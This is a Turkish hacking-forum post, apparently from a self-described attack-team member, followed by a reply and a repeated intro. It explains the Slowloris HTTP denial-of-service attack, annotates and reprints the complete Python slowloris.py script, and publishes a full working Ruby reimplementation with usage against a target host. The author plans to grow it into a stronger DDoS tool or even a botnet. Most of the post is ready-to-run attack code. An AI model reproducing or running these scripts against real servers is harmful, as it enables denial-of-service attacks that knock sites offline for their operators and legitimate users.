Slowloris, bir DDoS (Distributed Denial of Service) saldırı yöntemidir. Bu saldırı türü, bir web sunucusunu aşırı yüklemek ve hizmeti engellemek amacıyla kullanılır.
Slowloris saldırıları genellikle HTTP protokolünü hedef alır ve saldırganın bilgisayarından çok sayıda bağlantı oluşturarak sunucunun kaynaklarını tüketir.

Slowloris saldırısı, saldırganın bir hedef web sunucusuna çok sayıda bağlantı açarak her bağlantıyı açık tutmasıyla gerçekleşir. Bu bağlantılar genellikle tamamlanmamış HTTP istekleri içerir, bu da sunucunun kaynaklarını sürekli olarak kullanmasına neden olur. Sunucu, bu yarı tamamlanmış bağlantılara yanıt vermek için beklemeye devam ettiği sürece, gerçek ve meşru istemcilere hizmet verme yeteneği azalır.

Slowloris saldırıları genellikle düşük bant genişliği kullanarak ve izlemesi zor olacak şekilde yapıldığından, bu tür saldırıları tespit etmek ve engellemek zor olabilir.
Web sunucularının güvenliği için bu tür saldırılara karşı koruma önlemleri alınmalıdır.

DDoS, DoS, Slowloris gibi saldırılar için detaylı bilgi almak isterseniz okuyabilirsiniz. Kaynak



slowloris.py İncelenmesi

Slowloris'in Python varyasyonuna ulaşmak için: slowloris.py: Github

Loglama, Socket ve User-Agent kullanmayla alakalı konularım olduğu için tekrara girmedim.


CoffeeScript:
https://www.turkhackteam.org/konular/socket-programlama.2052616/

https://www.turkhackteam.org/konular/log-tutmak-loglama-islemleri.2052282/

https://www.turkhackteam.org/konular/python-ile-user-agent-kullanarak-istek-yollamak.2052068/

okuyabilirsiniz.

Fazla detaylara girmeden kodu açıklayayım

Bu bir Unix/Linux tabanlı işletim sistemi üzerinde çalıştırılacak bir Python betiği (script) başlangıcında bulunan bir shebang (sha-bang) ifadesidir. Kısaca Python ile yazmış olduğunuz programınızın hangi yorumlayıcı ile çalıştırılacağını belirtir.

Python:
#!/usr/bin/env python3

Burada "import" ile kullanılacak kütüphaneler içeriye aktarılmıştır.


Python:
import argparse
import logging
import random
import socket
import sys
import time

argparse: Komut satırı argümanlarını analiz etmek için kullanılır. Betik, komut satırından gelen argümanları işlemek ve bu argümanlara dayalı olarak belirli davranışları uygulamak için argparse kütüphanesini kullanır.

logging: Loglama (günlük tutma) işlemleri için kullanılır. Bu kütüphane, betikin çalışma zamanında çeşitli log mesajlarını göndererek bilgi sağlar. Log seviyeleri, betiğin ne kadar detaylı bir çıktı üreteceğini belirler.

random: Rastgele sayılar üretmek ve rastgele seçimler yapmak için kullanılır. Bu betikte, kullanıcı aracılığıyla belirtilen sayıda soket oluştururken rastgele seçimler yapmak amacıyla kullanılabilir.
socket: Ağ programlaması için kullanılan bir kütüphanedir. Bu betik, web sunucusuna karşı Slowloris saldırısını gerçekleştirmek için soketler aracılığıyla bağlantılar kurar ve yönetir.

sys: Python yürütme ortamı ve işletim sistemi ile ilgili işlemleri kontrol etmek için kullanılır. Bu betikte, betikin çalıştırıldığı komut satırı argümanlarını kontrol etmek ve bazı durumlarda betiği sonlandırmak için kullanılabilir.

time: Zaman ile ilgili işlemleri gerçekleştirmek için kullanılır. Bu betikte, belirli bir süre boyunca beklemek amacıyla kullanılabilir.

Parametre çubuğu belirtilmeden "host" değeri kullanıcıdan alınmış

Python:
parser.add_argument("host", nargs="?", help="Host to perform stress test on")

-p, --port ile kullanıcıdan port değeri alınmış.


Python:
parser.add_argument(
    "-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)

-s, --sockets ile atılacak socket sayısı değeri kullanıcıdan alınmış.

Python:
parser.add_argument(
    "-s",
    "--sockets",
    default=150,
    help="Number of sockets to use in the test",
    type=int,
)

-v, --verbose ile ekrana istekler hakkında çıktı verilmesi söylenmiş.

Python:
parser.add_argument(
    "-v",
    "--verbose",
    dest="verbose",
    action="store_true",
    help="Increases logging",
)

-ua, --randomuseragent ile istek atılacak tarayıcının random olup olmaması kullanıcıya sorulmuş.


Python:
parser.add_argument(
    "-ua",
    "--randuseragents",
    dest="randuseragent",
    action="store_true",
    help="Randomizes user-agents with each request",
)

-x, --useproxy komutu ile kullanıcıya proxy kullanılıp kullanılmayacağı sorulmuş.


Python:
parser.add_argument(
    "-x",
    "--useproxy",
    dest="useproxy",
    action="store_true",
    help="Use a SOCKS5 proxy for connecting",
)

kullanıcıdan proxy için kullanacağı host ve port değeri alınmış.

Python:
parser.add_argument(
    "--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
    "--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)

https kullanılması ve istek sorunları için bekleme süresi.

Python:
parser.add_argument(
    "--https",
    dest="https",
    action="store_true",
    help="Use HTTPS for the requests",
)
parser.add_argument(
    "--sleeptime",
    dest="sleeptime",
    default=15,
    type=int,
    help="Time to sleep between each header sent.",
)

kullanıcı girmemesi durumunda default değerler ayarlanmış ve parser bitirlip değerler alınmış.

Python:
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

eğer parserde host eksikse veya hiç değer girilmemişte gerekli çıktılar verilmiş.

Python:
if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

proxy kullanılacağı durumda socket tanımlaması yapılmış.

bu kısımda kullanıcının girdiği proxy host ve proxy port değerlerine bir proxy socketi oluşturulmuş.


Rich (BB code):
 socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )

Python:
if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks

        socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")
        sys.exit(1)

logging.basicConfig(
    format="[%(asctime)s] %(message)s",
    datefmt="%d-%m-%Y %H:%M:%S",
    level=logging.DEBUG if args.verbose else logging.INFO,
)

send_line(self, line): Bu fonksiyon, verilen line parametresini alır, sonuna bir satır sonu ekler (\r\n) ve ardından UTF-8 encoding ile byte dizisine çevirip soket üzerinden gönderir. Bu, HTTP başlıklarını göndermede kullanılır.

send_header(self, name, value): Bu fonksiyon, verilen name ve value parametreleriyle bir başlık oluşturur ve send_line fonksiyonunu kullanarak bu başlığı soket üzerinden gönderir.


Python:
def send_line(self, line):
    line = f"{line}\r\n"
    self.send(line.encode("utf-8"))

def send_header(self, name, value):
    self.send_line(f"{name}: {value}")

args.https değeri True ise (kullanıcı HTTPS kullanma seçeneğini belirtmişse), HTTPS desteği etkinleştirilir.

Python:
if args.https:

ssl kütüphanesi içe aktarılır. Bu kütüphane, güvenli iletişim sağlamak için kullanılan bir protokol olan SSL/TLS (Transport Layer Security) üzerine inşa edilmiştir.

Python:
logging.info("Importing ssl module")
import ssl

setattr fonksiyonu kullanılarak, ssl.SSLSocket sınıfına özel send_line ve send_header fonksiyonları eklenir.

ssl.SSLSocket sınıfı, normal socket sınıfından türetilmiş bir alt sınıftır ve SSL/TLS bağlantıları için özelleştirilmiştir.

Bu özel fonksiyonlar, daha önce tanımlanan send_line ve send_header fonksiyonlarıdır. Bu fonksiyonlar, HTTP başlıklarını ve satırlarını uygun formatta göndermek için kullanılır.


Python:
setattr(ssl.SSLSocket, "send_line", send_line)
setattr(ssl.SSLSocket, "send_header", send_header)

user-agent ve socket listesi tanımlaması.

Python:
list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)

bu kısımda kısaca socket oluşturuluyor ve önceden anlattığım kodda tanımlı özel fonksiyonlar ile istek atılıyor.

Python:
def init_socket(ip: str):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)

    if args.https:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=args.host)

    s.connect((ip, args.port))

    s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")

    ua = user_agents[0]
    if args.randuseragent:
        ua = random.choice(user_agents)

    s.send_header("User-Agent", ua)
    s.send_header("Accept-language", "en-US,en,q=0.5")
    return s

kullanıcının girdiği socket sayısını özel fonksiyonlara gönderen kısım.


Python:
def slowloris_iteration():
    logging.info("Sending keep-alive headers...")
    logging.info("Socket count: %s", len(list_of_sockets))

    # Try to send a header line to each socket
    for s in list(list_of_sockets):
        try:
            s.send_header("X-a", random.randint(1, 5000))
        except socket.error:
            list_of_sockets.remove(s)

    # Some of the sockets may have been closed due to errors or timeouts.
    # Re-create new sockets to replace them until we reach the desired number.

    diff = args.sockets - len(list_of_sockets)
    if diff <= 0:
        return

    logging.info("Creating %s new sockets...", diff)
    for _ in range(diff):
        try:
            s = init_socket(args.host)
            if not s:
                continue
            list_of_sockets.append(s)
        except socket.error as e:
            logging.debug("Failed to create new socket: %s", e)
            break

programı başlatmak için ana kısım.

Python:
def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error as e:
            logging.debug(e)
            break
        list_of_sockets.append(s)

    while True:
        try:
            slowloris_iteration()
        except (KeyboardInterrupt, SystemExit):
            logging.info("Stopping Slowloris")
            break
        except Exception as e:
            logging.debug("Error in Slowloris iteration: %s", e)
        logging.debug("Sleeping for %d seconds", args.sleeptime)
        time.sleep(args.sleeptime)


if __name__ == "__main__":
    main()

Tüm Kod:


Python:
#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import sys
import time

parser = argparse.ArgumentParser(
    description="Slowloris, low bandwidth stress test tool for websites"
)
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
parser.add_argument(
    "-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)
parser.add_argument(
    "-s",
    "--sockets",
    default=150,
    help="Number of sockets to use in the test",
    type=int,
)
parser.add_argument(
    "-v",
    "--verbose",
    dest="verbose",
    action="store_true",
    help="Increases logging",
)
parser.add_argument(
    "-ua",
    "--randuseragents",
    dest="randuseragent",
    action="store_true",
    help="Randomizes user-agents with each request",
)
parser.add_argument(
    "-x",
    "--useproxy",
    dest="useproxy",
    action="store_true",
    help="Use a SOCKS5 proxy for connecting",
)
parser.add_argument(
    "--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
    "--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)
parser.add_argument(
    "--https",
    dest="https",
    action="store_true",
    help="Use HTTPS for the requests",
)
parser.add_argument(
    "--sleeptime",
    dest="sleeptime",
    default=15,
    type=int,
    help="Time to sleep between each header sent.",
)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks

        socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")
        sys.exit(1)

logging.basicConfig(
    format="[%(asctime)s] %(message)s",
    datefmt="%d-%m-%Y %H:%M:%S",
    level=logging.DEBUG if args.verbose else logging.INFO,
)


def send_line(self, line):
    line = f"{line}\r\n"
    self.send(line.encode("utf-8"))


def send_header(self, name, value):
    self.send_line(f"{name}: {value}")


if args.https:
    logging.info("Importing ssl module")
    import ssl

    setattr(ssl.SSLSocket, "send_line", send_line)
    setattr(ssl.SSLSocket, "send_header", send_header)

list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)


def init_socket(ip: str):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)

    if args.https:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=args.host)

    s.connect((ip, args.port))

    s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")

    ua = user_agents[0]
    if args.randuseragent:
        ua = random.choice(user_agents)

    s.send_header("User-Agent", ua)
    s.send_header("Accept-language", "en-US,en,q=0.5")
    return s


def slowloris_iteration():
    logging.info("Sending keep-alive headers...")
    logging.info("Socket count: %s", len(list_of_sockets))

    # Try to send a header line to each socket
    for s in list(list_of_sockets):
        try:
            s.send_header("X-a", random.randint(1, 5000))
        except socket.error:
            list_of_sockets.remove(s)

    # Some of the sockets may have been closed due to errors or timeouts.
    # Re-create new sockets to replace them until we reach the desired number.

    diff = args.sockets - len(list_of_sockets)
    if diff <= 0:
        return

    logging.info("Creating %s new sockets...", diff)
    for _ in range(diff):
        try:
            s = init_socket(args.host)
            if not s:
                continue
            list_of_sockets.append(s)
        except socket.error as e:
            logging.debug("Failed to create new socket: %s", e)
            break


def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error as e:
            logging.debug(e)
            break
        list_of_sockets.append(s)

    while True:
        try:
            slowloris_iteration()
        except (KeyboardInterrupt, SystemExit):
            logging.info("Stopping Slowloris")
            break
        except Exception as e:
            logging.debug("Error in Slowloris iteration: %s", e)
        logging.debug("Sleeping for %d seconds", args.sleeptime)
        time.sleep(args.sleeptime)


if __name__ == "__main__":
    main()

Hatalarım olabilir, "kısaca" programı açıkladım. Kafanızda bir şeyler canlanmıştır.



Ruby İle Slowloris Kodlanması

Yukarıda bulunan kod düzenine uyarak bir kodlama yapacağız.
Bu serinin ilk konusu olduğu için ekstra detaylara bu konuda girmeyeceğim.

shebang satırını yazalım.

Ruby:
#!/usr/bin/env ruby

çıktı renklendirmesi için bir sınıf tanımlayalım.


Ruby:
class String
  def red; "\e[31m#{self}\e[0m" end
  def green; "\e[32m#{self}\e[0m" end
  def yellow; "\e[33m#{self}\e[0m" end
  def blue; "\e[34m#{self}\e[0m" end
  def magenta; "\e[35m#{self}\e[0m" end
  def cyan; "\e[36m#{self}\e[0m" end
end

Slowloris isimli sınıfımızı oluşturalım ve içine user-agentler ekleyelim.

Ruby:
class Slowloris
  def initialize
    require 'socket'

    @user_agents = [
      "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
    ]

default parametreler için hash.

Ruby:
@parameters = {
      host: nil,
      socket_count: 150,
      sleep_time: 15,
      port: 80,
      sockets: []
    }
  end

socket oluşturma fonksiyonu.

Ruby:
def initialize_socket(host, port)
    socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
    socket_addr = Socket.pack_sockaddr_in(port, host)
    socket.connect(socket_addr)

    socket.write("GET /?#{rand(2250)} HTTP/1.1\r\n".encode("utf-8"))
  
    @user_agents.each { |header|
      socket.write("#{header}\r\n".encode("utf-8"))
    }

    return socket
  end

yardım için yazı.

Ruby:
def print_help
    help_text = <<-'HELP_TEXT'
Usage: ruby slowloris.rb [options]

Options:
-h, --host: Set host.
-s, --socket_count: Set socket count.
-H, --help: Print this text.
-p, --port: Set port.
-t, --sleep_time: Sleep time when an error is received during the request.
HELP_TEXT
  
    $stdout.puts(help_text.red)
  end

parserimizi tanımlayalım.

Ruby:
 def option_parser
    require 'optparse'

    OptionParser.new do |opts|
      opts.on("-H", "--help", "Prints help text.") do
        print_help()
        exit(0)
      end

      opts.on("-t", "--sleep-time SLEEP_TIME", Integer, "Set sleep time.") do |sleep_time|
        @parameters[:sleep_time] = sleep_time
      end

      opts.on("-h", "--host HOST", "Set host.") do |host|
        @parameters[:host] = host
      end

      opts.on("-p", "--port PORT", Integer, "Set port.") do |port|
        @parameters[:port] = port
      end

      opts.on("-s", "--socket_count SOCKET_COUNT", Integer, "Set socket count value.") do |socket_count|
        @parameters[:socket_count] = socket_count
      end
    end.parse!
  end

döngüyü oluşturan ana fonksiyon.

Ruby:
def start
    option_parser()

    if @parameters[:host]
      $stdout.puts("Attacking #{@parameters[:host]} with #{@parameters[:socket_count]} sockets.".magenta)
      $stdout.puts("Creating sockets...".blue)

      while true
        @parameters[:socket_count].times do
          begin
            socket = initialize_socket(@parameters[:host], @parameters[:port])
            @parameters[:sockets] << socket
          rescue
            break
          rescue Interrupt
            exit(0)
          end
        end

        $stdout.puts("Sending keep-alive headers... Socket count: #{@parameters[:sockets].size}")

        (1..(@parameters[:socket_count] - @parameters[:sockets].size)).each do
          $stdout.puts("Recreating socket...")
          begin
            socket = initialize_socket(@parameters[:host], @parameters[:port])
            @parameters[:sockets] << socket if socket
          rescue
            break
          end
        end

        sleep(@parameters[:sleep_time])
      end
    else
      $stdout.puts("Please set a host.".cyan)
      print_help()
      exit(0)
    end
  end
end

slowloris = Slowloris.new()
slowloris.start()

Projenin Github sayfası:

Kod:
 https://github.com/thebunjo/Slowloris-Ruby/tree/main

Kullanım:

Yardım sayfası için "-H" parametresini kullanabilirsiniz.


nhy03uo.png


"example.com" için DoS.

"-h" parametresi ile hedefi belirtebilirsiniz.

kfdp4bm.png


Trafik analizi:


ej1h13k.png



Yeni konularda paralel programlama ve proxy desteği de eklediğimiz zaman çok kuvvettli bir DDoS aracına dönüşür. Yakın zamanda istekleri düzenler ve gerekli eklemeleri yapar yeni konusu açarım belki de bir botnet programına bile dönüştürebilirim bilemiyorum.

Slowloris programının ne kadar işe yaradığı size kalmakla beraber konuyu okuduğunuz için teşekkür ederim.

Hatalarım olabilir, nazik
üslup ile bildirirseniz sevinirin.

İyi forumlar.
Eline emeğine sağlık kadim dostum harika konu
 
1 May 2022
67
21
oqk18ir.png


c0sawob.png


lbn20fm.png
2q250vr.png


Merhabalar ben saldırı timlerinden Bunjo, bu konuda hemen hemen herkesin duyduğu slowloris aracının Python varyasyonunu yeniden Ruby ile kodlayacağız.
İlk öncelikle bu konuda dünyanın en hızlı en güçlü ddos programını yazmadığımı belirtmeliyim
ve herhangi bir iddiam da yoktur, sadece slowlorisi Ruby ile yazacağım.


Slowloris

iwxqmay.png


Slowloris, bir DDoS (Distributed Denial of Service) saldırı yöntemidir. Bu saldırı türü, bir web sunucusunu aşırı yüklemek ve hizmeti engellemek amacıyla kullanılır.
Slowloris saldırıları genellikle HTTP protokolünü hedef alır ve saldırganın bilgisayarından çok sayıda bağlantı oluşturarak sunucunun kaynaklarını tüketir.

